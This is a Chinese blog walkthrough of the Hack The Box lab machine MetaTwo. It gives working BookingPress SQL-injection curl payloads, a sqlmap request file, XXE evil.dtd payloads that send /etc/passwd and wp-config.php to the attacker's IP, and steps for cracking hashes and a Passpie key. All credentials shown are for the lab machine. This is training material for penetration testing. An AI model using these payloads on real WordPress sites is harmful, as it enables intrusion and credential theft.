htb_MetaTwo (bookingpress,WordPress XXE漏洞)

文章描述了一次针对WordPress网站的渗透测试过程,包括端口扫描、漏洞检测(XXE和SQL注入)、利用wpscan工具、密码破解、FTP登录、SSH连接以及使用Passpie获取root密码的步骤。
摘要由CSDN通过智能技术生成

kali攻击机ip:10.10.14.134

在这里插入图片描述

可以ping通靶机,那就开始通关啦

在这里插入图片描述

端口扫描

nmap -sS -sV -T5 10.10.11.186

在这里插入图片描述

目录不少,但是有用的没几个

在这里插入图片描述

访问80端口

cms为wordpress
(推荐一下wappalyzer插件,是个好用的网站分析工具)
在这里插入图片描述

点这个链接看看

cms也是wordpress,服务器为nginx

在这里插入图片描述

查看wordpress5.6.2的cve(别问为什么是这个,我也是看别人用这个我就跟着用)

XXE漏洞

在这里插入图片描述

既然是wp,那就用wpscan扫一下

这里也告诉我们服务器为nginx,web应用框架为php

有一个robots.txt文件

在这里插入图片描述

访问一下

有个sitemap,应该是网站文件目录

在这里插入图片描述

果然,没什么特别的

在这里插入图片描述
回去看看页面源码,发现了bookingpress插件

在这里插入图片描述

查找cve,版本非常吻合

在这里插入图片描述

漏洞利用

BookingPress < 1.0.11 - 未经身份验证的 SQL 注入 WordPress 安全漏洞 (wpscan.com)

在这里插入图片描述

根据提示在源码里寻找action:xxxx

在这里插入图片描述

_wpnonce:0aea629c56

测试用例

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php'  --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

在这里插入图片描述

爆数据库名

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT database(),@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

在这里插入图片描述

在这里插入图片描述

爆表名

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(table_name) ,@@version_comment,@@version_compile_os,1,2,3,4,5,6 from information_schema.tables  where table_schema=database()-- -' 

在这里插入图片描述

在这里插入图片描述

爆字段名

 curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(column_name) ,@@version_comment,@@version_compile_os,1,2,3,4,5,6 from information_schema.columns  where  table_schema=database()  -- -'  

在这里插入图片描述

在这里插入图片描述

爆字段

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login) ,group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from  wp_users-- -'

在这里插入图片描述

爆出来两个账号密码,可以看出来是MD5编码

admin   $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

后面回看的时候发现别的博主有更好的方法,就是利用sqlmap自动注入

在这里插入图片描述

vim post.txt

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Content-Length: 218
Content-Type: application/x-www-form-urlencoded
Connection: close

action=bookingpress_front_get_category_services&_wpnonce=0aea629c56&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -
sqlmap -r post.txt -p total_service -D blog --tables

在这里插入图片描述

在这里插入图片描述

意思意思就好了,到此为止,回归正题

利用john破解密码

john -w=/usr/share/wordlists/rockyou.txt  pass.txt

在这里插入图片描述

partylikearockstar

ssh,ftp都尝试用两个用户名登录了,都不对

想想还有个wp的后台没试过,不妨看看

在这里插入图片描述

用manager登录进来了,确实是wp后台

在这里插入图片描述

找到文件上传的地方

在这里插入图片描述

漏洞利用

motikan2010/CVE-2021-29447: WordPress - Authenticated XXE (CVE-2021-29447) (github.com)

在这里插入图片描述

根据步骤一步一步来

搭建web服务

make up-wp
make up-mal

在这里插入图片描述

cd attacker/www

来到网站目录

修改一下这个恶意脚本,改为我们kali的ip

在这里插入图片描述

在这里插入图片描述

生成恶意wav文件(用来上传到靶机网站的)

在这里插入图片描述

此时目录下有两个文件

在这里插入图片描述

回到upload.php

在这里插入图片描述

上传wav文件

在这里插入图片描述

我们搭建的服务器处返回base64编码的文件

在这里插入图片描述

使用base -d命令解析

不是,这啥?说好的/etc/passwd呢

在这里插入图片描述

搞了半天才发现,原来把evil.dtd第一句里面的/zlib.deflate这截删掉就好了

最终版evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >

在这里插入图片描述

在这里插入图片描述

base64解码

echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= | base64 -d

在这里插入图片描述

发现用户jnelson

在这里插入图片描述

因为靶机使用的是nginx服务器,我们可以看看它的配置文件

在这里插入图片描述

修改evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/nginx/nginx.conf">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >

在这里插入图片描述

在这里插入图片描述

发现nginx配置文件目录 /etc/nginx/sites-enabled

这里意思是加载/etc/nginx/sites-enabled的默认配置文件

在这里插入图片描述

查看默认配置文件default

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/nginx/sites-enabled/default">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >

在这里插入图片描述

可看到网站根目录为/var/www/metapress.htb/blog

在这里插入图片描述

查看wp根目录下的配置文件wp-config.php

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.134:8001/?p=%file;'>" >

在这里插入图片描述

在这里插入图片描述

发现FTP账号密码

在这里插入图片描述

define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );

登录ftp

在这里插入图片描述

查看mailer目录

cd mailer

下载文件到本地

get end_email.php

在这里插入图片描述

cat send_email.php

在这里插入图片描述

发现用户密码

$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys"; 

ssh远程连接

在这里插入图片描述

sudo,suid都木有发现

在这里插入图片描述

目录探测

发现可执行文件.passpie

在这里插入图片描述

搜索发现,Passpie是一个基于命令行的密码管理器

在这里插入图片描述

先把flag拿了

在这里插入图片描述

进入passpie目录

在这里插入图片描述

cat .keys

将.keys复制到kali机上解密(.keys里面有公钥和私钥,把公钥删了,只留私钥给john解密)

在这里插入图片描述

将keys转换为john可识别的文件

(我说怎么没有pgp2jon,原来是gpg2john)

gpg2john keys > hash 

john解密

john -w=/usr/share/wordlists/rockyou.txt  hash   

在这里插入图片描述

blink182

回到主目录再export,不然会报权限不足错误

passpie export pass

在这里插入图片描述

拿到root密码

p7qfAZt4_A1xo_0x

提权成功~~

在这里插入图片描述

o了 😃

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值